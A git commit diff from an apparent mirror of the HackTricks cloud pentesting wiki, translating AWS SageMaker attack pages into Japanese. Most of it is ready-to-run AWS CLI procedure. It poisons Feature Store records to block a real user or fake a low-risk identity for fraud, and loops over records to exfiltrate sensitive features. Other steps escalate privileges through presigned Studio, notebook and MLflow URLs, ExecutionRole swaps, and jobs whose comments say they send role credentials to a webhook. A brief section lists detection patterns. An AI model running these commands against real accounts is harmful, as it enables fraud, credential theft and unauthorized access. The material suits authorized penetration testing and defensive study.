mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 21:53:15 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -1,50 +1,160 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
OnlineStore が有効な Feature Group に対して `sagemaker:PutRecord` を悪用し、オンライン推論で消費されるライブの特徴量値を上書きします。`sagemaker:GetRecord` と組み合わせることで、攻撃者は機密性の高い特徴量を読み取ることができます。これはモデルやエンドポイントへのアクセスを必要としません。
|
||||
OnlineStore が有効な Feature Group に対して `sagemaker:PutRecord` を悪用し、オンライン推論で消費されるライブの特徴量値を上書きします。`sagemaker:GetRecord` と組み合わせることで、攻撃者は機密性の高い特徴量を読み取り、機密な ML データを exfiltrate できます。これはモデルやエンドポイントへのアクセスを必要としないため、直接的なデータ層攻撃になります。
|
||||
|
||||
## Requirements
|
||||
- 権限: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- ターゲット: OnlineStore が有効な Feature Group(通常はリアルタイム推論を支える)
|
||||
- 対象: OnlineStore が有効な Feature Group(通常はリアルタイム推論を支えるもの)
|
||||
- 複雑さ: **LOW** - 簡単な AWS CLI コマンド、モデル操作は不要
|
||||
|
||||
## Steps
|
||||
1) テスト用に小さな Online Feature Group を選択または作成する
|
||||
|
||||
### Reconnaissance
|
||||
|
||||
1) OnlineStore が有効な Feature Groups を一覧表示する
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
aws sagemaker list-feature-groups \
|
||||
--region $REGION \
|
||||
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
|
||||
--output table
|
||||
```
|
||||
2) 対象の Feature Group を説明して、そのスキーマを理解する
|
||||
```bash
|
||||
FG=<feature-group-name>
|
||||
aws sagemaker describe-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG"
|
||||
```
|
||||
`RecordIdentifierFeatureName`、`EventTimeFeatureName`、およびすべてのフィーチャ定義に注意してください。これらは有効なレコードを作成するために必要です。
|
||||
|
||||
### Attack Scenario 1: Data Poisoning (Overwrite Existing Records)
|
||||
|
||||
1) 現在の正当なレコードを読み取る
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
2) インラインの `--record` パラメータを使用してレコードを悪意のある値で汚染する
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
|
||||
aws sagemaker-featurestore-runtime put-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record "[
|
||||
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
|
||||
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
|
||||
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
|
||||
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
|
||||
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
3) 汚染されたデータを検証する
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
**影響**: ML models consuming this feature will now see `risk_score=0.99` for a legitimate user, potentially blocking their transactions or services。
|
||||
|
||||
### 攻撃シナリオ2: Malicious Data Injection (Create Fraudulent Records)
|
||||
|
||||
操作されたフィーチャーを持つ完全に新しいレコードを注入して、セキュリティ制御を回避する:
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
# Create fake user with artificially low risk to perform fraudulent transactions
|
||||
aws sagemaker-featurestore-runtime put-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record "[
|
||||
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
|
||||
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
|
||||
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
|
||||
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
|
||||
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
インジェクションを検証する:
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-999
|
||||
```
|
||||
**Impact**: 攻撃者は低リスクスコア (0.01) の偽のアイデンティティを作成し、詐欺検知を発動させることなく高額な不正取引を実行できる。
|
||||
|
||||
### Attack Scenario 3: 機密データの持ち出し
|
||||
|
||||
複数のレコードを読み取り、機密の特徴量を抽出してモデルの挙動をプロファイリングする:
|
||||
```bash
|
||||
# Exfiltrate data for known users
|
||||
for USER_ID in user-001 user-002 user-003 user-999; do
|
||||
echo "Exfiltrating data for ${USER_ID}:"
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string ${USER_ID}
|
||||
done
|
||||
```
|
||||
**影響**: 機密の特徴量(リスクスコア、取引パターン、個人データ)が攻撃者にさらされる。
|
||||
|
||||
### テスト/デモ Feature Group Creation (Optional)
|
||||
|
||||
If you need to create a test Feature Group:
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
|
||||
if [ -z "$FG" -o "$FG" = "None" ]; then
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
FG=ht-fg-$ACC-$(date +%s)
|
||||
FG=test-fg-$ACC-$(date +%s)
|
||||
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
|
||||
aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
|
||||
|
||||
aws sagemaker create-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-feature-name entity_id \
|
||||
--event-time-feature-name event_time \
|
||||
--feature-definitions "[
|
||||
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
|
||||
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
|
||||
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
|
||||
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
|
||||
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
|
||||
]" \
|
||||
--online-store-config "{\"EnableOnlineStore\":true}" \
|
||||
--role-arn "$ROLE_ARN"
|
||||
|
||||
echo "Waiting for feature group to be in Created state..."
|
||||
for i in $(seq 1 40); do
|
||||
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
|
||||
echo $ST; [ "$ST" = "Created" ] && break; sleep 15
|
||||
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
|
||||
done
|
||||
fi
|
||||
```
|
||||
2) オンラインレコードを挿入/上書き (poison)
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
cat > /tmp/put.json << JSON
|
||||
{
|
||||
"FeatureGroupName": "$FG",
|
||||
"Record": [
|
||||
{"FeatureName": "entity_id", "ValueAsString": "user-123"},
|
||||
{"FeatureName": "event_time", "ValueAsString": "$NOW"},
|
||||
{"FeatureName": "risk_score", "ValueAsString": "0.99"}
|
||||
],
|
||||
"TargetStores": ["OnlineStore"]
|
||||
}
|
||||
JSON
|
||||
aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
|
||||
```
|
||||
3) レコードを読み返して改ざんを確認する
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
|
||||
```
|
||||
期待される結果: risk_score が 0.99 を返す (attacker-set)、モデルが使用するオンライン features を変更できることを証明する。
|
||||
|
||||
## Impact
|
||||
- Real-time integrity attack: エンドポイント/モデルに触れることなく、production models が利用する features を操作する。
|
||||
- Confidentiality risk: GetRecord を介して OnlineStore から機密性の高い features を読み取る。
|
||||
echo "Feature Group ready: $FG"
|
||||
```
|
||||
## Detection
|
||||
|
||||
Monitor CloudTrail for suspicious patterns:
|
||||
- 異常な IAM プリンシパルや IP アドレスからの `PutRecord` イベント
|
||||
- 高頻度の `PutRecord` や `GetRecord` 呼び出し
|
||||
- 異常な特徴量値を伴う `PutRecord`(例: risk_score が通常の範囲外)
|
||||
- 大量の `GetRecord` 操作(大規模なデータ持ち出しを示唆)
|
||||
- 通常の業務時間外や予期しない場所からのアクセス
|
||||
|
||||
Implement anomaly detection:
|
||||
- 特徴量値の検証(例: risk_score は 0.0-1.0)
|
||||
- 書き込みパターンの解析(頻度、タイミング、ソースの識別)
|
||||
- データドリフト検出(特徴量分布の急激な変化)
|
||||
|
||||
## References
|
||||
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
|
||||
@@ -6,34 +6,117 @@
|
||||
|
||||
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
アクセス用の IAM Role がアタッチされた状態でノートブックの作成を開始します:
|
||||
アクセス可能な IAM Role をアタッチして notebook の作成を開始します:
|
||||
```bash
|
||||
aws sagemaker create-notebook-instance --notebook-instance-name example \
|
||||
--instance-type ml.t2.medium \
|
||||
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
|
||||
```
|
||||
レスポンスには `NotebookInstanceArn` フィールドが含まれ、作成されたノートブックインスタンスの ARN が格納されます。準備が整ったら、`create-presigned-notebook-instance-url` API を使用してノートブックインスタンスにアクセスするための URL を生成できます:
|
||||
レスポンスには `NotebookInstanceArn` フィールドが含まれ、作成したノートブックインスタンスの ARN が格納されます。準備ができたら、`create-presigned-notebook-instance-url` API を使って、ノートブックインスタンスにアクセスするための URL を生成できます:
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url \
|
||||
--notebook-instance-name <name>
|
||||
```
|
||||
ブラウザで URL に移動し、右上の `Open JupyterLab`` をクリックし、次に “Launcher” タブまでスクロールして “Other” セクションの “Terminal” ボタンをクリックします。
|
||||
ブラウザで該当のURLにアクセスし、右上の `Open JupyterLab` をクリックします。次に下にスクロールして “Launcher” タブを開き、”Other” セクションで “Terminal” ボタンをクリックしてください。
|
||||
|
||||
Now It's possible to access the metadata credentials of the IAM Role.
|
||||
これで IAM Role のメタデータ認証情報にアクセスできるようになります。
|
||||
|
||||
**Potential Impact:** 指定された sagemaker service role への Privesc.
|
||||
**Potential Impact:** 指定された sagemaker service role への Privesc。
|
||||
|
||||
### `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
Jupyter 上で **notebooks が既に実行されている** ものがあり、`sagemaker:ListNotebookInstances`(または他の方法で検出できる)場合、**これらに対して URL を生成し、アクセスし、前の手法に示されているように認証情報を盗むことができます。**
|
||||
もしその上で Jupyter **notebooks が既に動作していて**、`sagemaker:ListNotebookInstances`(または他の方法で発見できる)で一覧化できる場合、**これらのノートブック用の URL を生成し、アクセスして、前の手法で示したように認証情報を盗むことができます。**
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
|
||||
```
|
||||
**Potential Impact:** アタッチされた sagemaker サービスロールへの Privesc
|
||||
**Potential Impact:** sagemaker にアタッチされているサービスロールへの Privesc
|
||||
|
||||
|
||||
## `sagemaker:CreatePresignedDomainUrl`
|
||||
|
||||
> [!WARNING]
|
||||
> この攻撃は古い従来の SageMaker Studio ドメインでのみ動作し、SageMaker Unified Studio によって作成されたドメインでは動作しません。Unified Studio からのドメインは次のエラーを返します: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".
|
||||
|
||||
`UserProfile` に対して `sagemaker:CreatePresignedDomainUrl` を呼び出す権限を持つアイデンティティは、そのプロファイルとして直接 SageMaker Studio に認証するログイン URL を発行できます。これにより、攻撃者のブラウザはプロファイルの `ExecutionRole` 権限を継承する Studio セッションと、プロファイルの EFS-backed ホームおよびアプリへのフルアクセスを得ます。`iam:PassRole` やコンソールアクセスは不要です。
|
||||
|
||||
**Requirements**:
|
||||
- SageMaker Studio の `Domain` とその中のターゲット `UserProfile`。
|
||||
- 攻撃者プリンシパルはターゲットの `UserProfile`(リソースレベル)または `*` に対する `sagemaker:CreatePresignedDomainUrl` が必要。
|
||||
|
||||
Minimal policy example (scoped to one UserProfile):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "sagemaker:CreatePresignedDomainUrl",
|
||||
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
**悪用手順**:
|
||||
|
||||
1) 対象にできる Studio Domain と UserProfiles を列挙する
|
||||
```bash
|
||||
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
|
||||
aws sagemaker list-user-profiles --domain-id-equals $DOM
|
||||
TARGET_USER=<UserProfileName>
|
||||
```
|
||||
2) unified studio が使用されていないか確認する (attack は従来の SageMaker Studio ドメインでのみ動作します)
|
||||
```bash
|
||||
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
|
||||
# If you get info about unified studio, this attack won't work
|
||||
```
|
||||
3) Generate a presigned URL (デフォルトで約5分間有効)
|
||||
```bash
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id $DOM \
|
||||
--user-profile-name $TARGET_USER \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
4) 返された URL をブラウザで開き、ターゲットユーザーとして Studio にサインインします。Studio 内の Jupyter ターミナルで、実効的なアイデンティティを確認するか、トークンを exfiltrate します:
|
||||
```bash
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
Notes:
|
||||
- `--landing-uri` は省略可能です。いくつかの値(例: `app:JupyterLab:/lab`)は Studio のフレーバー/バージョンによって拒否される場合があります。デフォルトでは通常 Studio のホームにリダイレクトされ、さらに Jupyter に遷移します。
|
||||
- 組織ポリシーや VPC エンドポイントの制限によりネットワークアクセスがブロックされる可能性があります。トークンの発行にはコンソールのサインインや `iam:PassRole` は不要です。
|
||||
|
||||
**Potential Impact**: 許可された ARN を持つ任意の Studio `UserProfile` を引き受け、その `ExecutionRole` とファイルシステム/アプリを継承することで横移動および権限昇格が可能になります。
|
||||
|
||||
|
||||
### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments`
|
||||
|
||||
対象の SageMaker MLflow Tracking Server に対して `sagemaker:CreatePresignedMlflowTrackingServerUrl`(および後続のアクセスに必要な `sagemaker-mlflow:AccessUI`、`sagemaker-mlflow:SearchExperiments`)を呼び出す権限を持つアイデンティティは、当該サーバーの管理された MLflow UI に直接認証する一回限りの presigned URL を発行できます。これにより、正当なユーザーと同様にサーバーの操作(experiment や run の閲覧/作成、サーバーの S3 アーティファクトストアからのダウンロード/アップロード)が可能になります。
|
||||
|
||||
**Requirements:**
|
||||
- アカウント/リージョン内にある SageMaker MLflow Tracking Server とその名前。
|
||||
- 攻撃者プリンシパルは対象の MLflow Tracking Server リソース(または `*`)に対して `sagemaker:CreatePresignedMlflowTrackingServerUrl` の権限が必要。
|
||||
|
||||
**Abuse Steps**:
|
||||
|
||||
1) 対象にできる MLflow Tracking Server を列挙し、1つの名前を選択する
|
||||
```bash
|
||||
aws sagemaker list-mlflow-tracking-servers \
|
||||
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
|
||||
TS_NAME=<tracking-server-name>
|
||||
```
|
||||
2) presigned MLflow UI URL を生成する(短時間のみ有効)
|
||||
```bash
|
||||
aws sagemaker create-presigned-mlflow-tracking-server-url \
|
||||
--tracking-server-name "$TS_NAME" \
|
||||
--query AuthorizedUrl --output text
|
||||
```
|
||||
3) 返されたURLをブラウザで開くと、そのTracking Serverに対して認証済みユーザーとしてMLflow UIにアクセスできます。
|
||||
|
||||
**Potential Impact:** 対象のTracking Serverの管理されたMLflow UIへ直接アクセスでき、サーバー設定で課される権限の範囲内で実験/ランの閲覧や変更、およびサーバーで構成された S3 artifact store に保存されたアーティファクトの取得やアップロードが可能になります。
|
||||
|
||||
|
||||
### `sagemaker:CreateProcessingJob`, `iam:PassRole`
|
||||
|
||||
その権限を持つ攻撃者は、**SageMaker に処理ジョブを実行させる**ことで、その処理ジョブに SageMaker ロールをアタッチさせることができます。すでに Python を含む AWS Deep Learning Containers のいずれかを再利用し(URI と同じリージョンでジョブを実行する必要があります)、独自のイメージを構築せずにインラインでコードを実行できます:
|
||||
その権限を持つ攻撃者は、SageMakerロールをアタッチした状態で**SageMakerにprocessing jobを実行させる**ことができます。既にPythonを含む AWS Deep Learning Containers のいずれかを再利用し(URIと同じリージョンでjobを実行することで)、独自のイメージを構築せずにインラインでコードを実行できます:
|
||||
```bash
|
||||
REGION=<region>
|
||||
ROLE_ARN=<sagemaker-arn-role>
|
||||
@@ -49,11 +132,11 @@ aws sagemaker create-processing-job \
|
||||
|
||||
# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
|
||||
```
|
||||
**Potential Impact:** 指定された sagemaker サービスロールへの Privesc.
|
||||
**潜在的影響:** Privesc to the sagemaker service role specified.
|
||||
|
||||
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
|
||||
|
||||
その権限を持つ攻撃者は、指定されたロールで任意のコードを実行する training job を起動できます。公式の SageMaker コンテナを使用し、entrypoint を inline payload で上書きすれば、独自のイメージを構築する必要はありません:
|
||||
これらの権限を持つ攻撃者は、指定されたロールで任意のコードを実行するトレーニングジョブを起動できます。公式の SageMaker コンテナを使用し、entrypoint を payload inline で上書きすれば、自前のイメージを構築する必要はありません:
|
||||
```bash
|
||||
REGION=<region>
|
||||
ROLE_ARN=<sagemaker-role-to-abuse>
|
||||
@@ -73,11 +156,11 @@ aws sagemaker create-training-job \
|
||||
|
||||
# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
|
||||
```
|
||||
**潜在的な影響:** 指定された SageMaker サービスロールへの Privesc.
|
||||
**Potential Impact:** 指定された SageMaker サービスロールへの Privesc。
|
||||
|
||||
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
|
||||
|
||||
これらの権限を持つ攻撃者は、指定したロールの下で攻撃者が制御するコードを実行する HyperParameter Tuning Job を起動できます。Script mode ではペイロードを S3 にホストする必要がありますが、すべての手順は CLI から自動化できます:
|
||||
これらの権限を持つ attacker は、指定したロールで attacker-controlled code を実行する HyperParameter Tuning Job を起動できます。Script mode はペイロードを S3 にホストする必要がありますが、すべての手順は CLI から自動化できます:
|
||||
```bash
|
||||
REGION=<region>
|
||||
ROLE_ARN=<sagemaker-role-to-abuse>
|
||||
@@ -183,28 +266,28 @@ aws sagemaker create-hyper-parameter-tuning-job \
|
||||
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
|
||||
--training-job-definition file:///tmp/hpo-definition.json
|
||||
```
|
||||
各トレーニングはプロセスによって起動されると、メトリクスを出力し、指定されたロールの認証情報を外部へ送信します。
|
||||
プロセスによって起動された各トレーニングは、メトリクスを出力し、指定されたロールの資格情報を外部に送信します。
|
||||
|
||||
### `sagemaker:UpdateUserProfile`, `iam:PassRole`, `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
|
||||
|
||||
### `sagemaker:UpdateUserProfile`/`UpdateSpace`/`UpdateDomain` Studio role swap (no `iam:PassRole`)
|
||||
SageMaker Studio User Profile を更新し、アプリを作成し、そのアプリへの presigned URL を作成する権限と `iam:PassRole` があれば、攻撃者は `ExecutionRole` を SageMaker のサービスプリンシパルが引き受け可能な任意の IAM ロールに設定できます。そのプロファイルで起動される新しい Studio アプリは入れ替えたロールで実行され、Jupyter ターミナルや Studio から起動したジョブを通じて対話的に権限を昇格させます。
|
||||
|
||||
ExecutionRole の優先順位:
|
||||
|
||||
- `UserProfile` は他の値を上書きします。プロファイルが `ExecutionRole` を定義している場合、Studio は常にそのロールを使用します。
|
||||
- `Space` はプロファイルに独自のロールがない場合にのみ適用されます。そうでなければ、プロファイルのロールが優先されます。
|
||||
- `Domain DefaultUserSettings` は、プロファイルもスペースもロールを定義していない場合の最後の手段として機能します。
|
||||
|
||||
SageMaker Studio User Profile (or Space/Domain) の更新権限があれば、攻撃者は `ExecutionRole` を SageMaker サービスプリンシパルが引き受け可能な任意の IAM ロールに設定できます。ジョブ作成 API と異なり、Studio のプロファイル更新 API は `iam:PassRole` を要求しません。そのプロファイルで起動された新しい Studio アプリは入れ替えられたロールで実行され、Jupyter ターミナルや Studio から起動されるジョブを通じてインタラクティブに権限が昇格します。
|
||||
> [!WARNING]
|
||||
> この攻撃は、プロファイル内にアプリケーションが存在しないことを前提としています。もしアプリが存在すると、アプリ作成は次のようなエラーで失敗します: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.`
|
||||
> もしアプリが存在する場合は、まずそれらを削除するために `sagemaker:DeleteApp` 権限が必要です。
|
||||
|
||||
手順:
|
||||
```bash
|
||||
# 1) List Studio user profiles and pick a target
|
||||
# 1) List Studio domains and pick a target
|
||||
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
|
||||
|
||||
# 2) List Studio user profiles and pick a target
|
||||
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
|
||||
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
|
||||
|
||||
# 2) Update the Studio profile to use the new role (no iam:PassRole)
|
||||
# 3) Update the Studio profile to use the new role (no iam:PassRole)
|
||||
aws sagemaker update-user-profile \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
@@ -215,18 +298,59 @@ aws sagemaker describe-user-profile \
|
||||
--user-profile-name <USER> \
|
||||
--query 'UserSettings.ExecutionRole' --output text
|
||||
|
||||
# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level
|
||||
aws sagemaker update-space \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--space-name <SPACE> \
|
||||
--space-settings ExecutionRole=$ROLE_ARN
|
||||
# 3.1) Optional if you need to delete existing apps first
|
||||
# List existing apps
|
||||
aws sagemaker list-apps \
|
||||
--domain-id-equals <DOMAIN_ID>
|
||||
|
||||
aws sagemaker describe-space \
|
||||
# Delete an app
|
||||
aws sagemaker delete-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--space-name <SPACE> \
|
||||
--query 'SpaceSettings.ExecutionRole' --output text
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name <APP_NAME>
|
||||
|
||||
# 4) Optionally, change the domain default so every profile inherits the new role
|
||||
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
|
||||
aws sagemaker create-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name <APP_NAME>
|
||||
|
||||
|
||||
# 5) Generate a presigned URL to access Studio with the new domain default role
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--query AuthorizedUrl --output text
|
||||
|
||||
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
|
||||
# aws sts get-caller-identity
|
||||
# (should show the high-privilege role from domain defaults)
|
||||
|
||||
```
|
||||
**潜在的な影響**: 指定された SageMaker の実行ロールの権限への権限昇格(インタラクティブな Studio セッション向け)。
|
||||
|
||||
|
||||
### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
|
||||
|
||||
SageMaker Studio Domain を更新し、アプリとその presigned URL を作成し、`iam:PassRole` の権限を持っていると、攻撃者はドメインのデフォルト `ExecutionRole` を SageMaker サービスプリンシパルが引き受け可能な任意の IAM ロールに設定できます。そのプロファイルで起動される新しい Studio アプリは入れ替えたロールで実行され、Jupyter ターミナルや Studio から起動したジョブを通じてインタラクティブに権限昇格した操作を行えます。
|
||||
|
||||
> [!WARNING]
|
||||
> この攻撃は、ドメイン内にアプリケーションが存在しないことを前提とします。存在する場合、アプリ作成は次のエラーで失敗します: `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.`
|
||||
|
||||
手順:
|
||||
```bash
|
||||
# 1) List Studio domains and pick a target
|
||||
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
|
||||
|
||||
# 2) List Studio user profiles and pick a target
|
||||
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
|
||||
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
|
||||
|
||||
# 3) Change the domain default so every profile inherits the new role
|
||||
aws sagemaker update-domain \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--default-user-settings ExecutionRole=$ROLE_ARN
|
||||
@@ -235,24 +359,88 @@ aws sagemaker describe-domain \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--query 'DefaultUserSettings.ExecutionRole' --output text
|
||||
|
||||
# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role
|
||||
aws sagemaker create-app \
|
||||
# 3.1) Optional if you need to delete existing apps first
|
||||
# List existing apps
|
||||
aws sagemaker list-apps \
|
||||
--domain-id-equals <DOMAIN_ID>
|
||||
|
||||
# Delete an app
|
||||
aws sagemaker delete-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--app-type JupyterServer \
|
||||
--app-name js-atk
|
||||
--app-name <APP_NAME>
|
||||
|
||||
# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run:
|
||||
# aws sts get-caller-identity # should reflect the new ExecutionRole
|
||||
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
|
||||
aws sagemaker create-app \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--app-type JupyterServer \
|
||||
--app-name js-domain-escalated
|
||||
|
||||
# 5) Generate a presigned URL to access Studio with the new domain default role
|
||||
aws sagemaker create-presigned-domain-url \
|
||||
--domain-id <DOMAIN_ID> \
|
||||
--user-profile-name <USER> \
|
||||
--query AuthorizedUrl --output text
|
||||
|
||||
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
|
||||
# aws sts get-caller-identity
|
||||
# (should show the high-privilege role from domain defaults)
|
||||
```
|
||||
**潜在的な影響**: Privilege escalation により、指定された SageMaker execution role の権限を取得し、インタラクティブな Studio セッションで利用できるようになります。
|
||||
**Potential Impact**: インタラクティブな Studio セッションにおいて、指定された SageMaker 実行ロールの権限への特権昇格
|
||||
|
||||
### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`
|
||||
|
||||
ターゲットの UserProfile に対して SageMaker Studio アプリを作成する権限を持つ攻撃者は、そのプロファイルの `ExecutionRole` で動作する JupyterServer アプリを起動できます。これにより、Jupyter ターミナルや Studio から起動したジョブを通じてロールの権限に対するインタラクティブなアクセスが得られます。
|
||||
|
||||
Steps:
|
||||
```bash
|
||||
# 1) List Studio domains and pick a target
|
||||
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
|
||||
|
||||
# 2) List Studio user profiles and pick a target
|
||||
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
|
||||
|
||||
